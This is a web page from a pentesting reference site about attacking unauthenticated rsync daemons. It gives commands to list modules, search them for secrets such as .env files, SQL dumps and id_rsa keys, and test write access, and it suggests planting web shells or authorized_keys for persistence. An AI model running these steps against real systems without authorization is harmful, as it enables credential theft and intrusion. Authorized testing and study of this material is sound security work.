Skip to content
HackIndex.io

Rsync Unauthenticated Access

3 min read Created Mar 30, 2026 Last updated Mar 30, 2026

Unauthenticated rsync access occurs when modules are configured without the auth users directive in rsyncd.conf, or when the hosts allow directive is set too broadly. Read access enables arbitrary file download from the exposed path. Write access enables planting files (SSH keys, cron jobs, web shells) in any writable location the module exposes. Confirm which condition exists before moving to the appropriate exploitation path.

  • Confirm Unauthenticated Module Listing
  • Assess Read Access Scope
  • Confirm Write Access
  • Check If Module Exposes Sensitive Paths

Confirm Unauthenticated Module Listing

If the module list is returned without credentials, anonymous access is enabled at the daemon level:

┌──(kali㉿kali)-[~]
└─$ rsync --list-only rsync://$TARGET_IP:873/ 2>&1 
public          Public files
backup          Nightly backups
www             Web root

Modules returned without a password prompt confirm anonymous access to the daemon. Check each module individually for read and write access: each may have different permissions.

Assess Read Access Scope

Recursively list each module to understand what is exposed. Check for high-value content before pulling anything:

┌──(kali㉿kali)-[~]
└─$ rsync --list-only -r rsync://$TARGET_IP:873/backup/ | grep -iE '\.env|config|password|secret|key|\.sql|\.bak|\.pem|id_rsa|id_dsa|id_ecdsa|id_ed25519' 
-rw-r--r--          2,048 2026/03/01 .env
-rw-r--r--         81,920 2026/03/01 db_dump.sql
-rw-------          1,675 2026/03/01 id_rsa
┌──(kali㉿kali)-[~]
└─$ for module in $(rsync --list-only rsync://$TARGET_IP:873/ 2>/dev/null | awk '{print $1}'); do
echo "=== $module ==="
rsync --list-only rsync://$TARGET_IP:873/$module/ 2>/dev/null | head -10
done 
=== backup ===
drwxr-xr-x configs
-rw-r--r-- db_dump.sql
-rw-r--r-- .env
=== www ===
drwxr-xr-x html
drwxr-xr-x uploads

Confirm Write Access

Test each module for write access by uploading a disposable test file:

┌──(kali㉿kali)-[~]
└─$ echo 'pentest_write_check' > /tmp/wcheck.txt
┌──(kali㉿kali)-[~]
└─$ for module in $(rsync --list-only rsync://$TARGET_IP:873/ 2>/dev/null | awk '{print $1}'); do
result=$(rsync -v /tmp/wcheck.txt rsync://$TARGET_IP:873/$module/wcheck.txt 2>&1)
if echo "$result" | grep -q 'sent.*bytes'; then
echo "WRITE ACCESS: $module"
rsync --remove-source-files rsync://$TARGET_IP:873/$module/wcheck.txt /dev/null 2>/dev/null
else
echo "read only: $module"
fi
done
┌──(kali㉿kali)-[~]
└─$ rm -f /tmp/wcheck.txt 
read only: backup
WRITE ACCESS: www
read only: public

Write access to www means you can plant a web shell in the web root. Clean up the test file immediately after confirming: the wcheck.txt file on the server must be deleted before proceeding.

Check If Module Exposes Sensitive Paths

Module paths in rsyncd.conf sometimes map to sensitive system directories. List the root of each module and check for system paths:

┌──(kali㉿kali)-[~]
└─$ rsync --list-only rsync://$TARGET_IP:873/backup/ | head -5 
drwxr-xr-x          4,096 2026/03/28 12:00:00 .
-rw-r--r--          1,675 2026/03/01 08:00:00 id_rsa
-rw-r--r--            367 2026/03/01 08:00:00 authorized_keys

id_rsa and authorized_keys in the module root suggest the module is syncing or backing up a user's .ssh directory. A readable id_rsa is an immediate SSH private key to test. A writable authorized_keys path enables SSH key planting without any other access. Move to file access and loot for read exploitation or write access exploitation for persistence paths.

References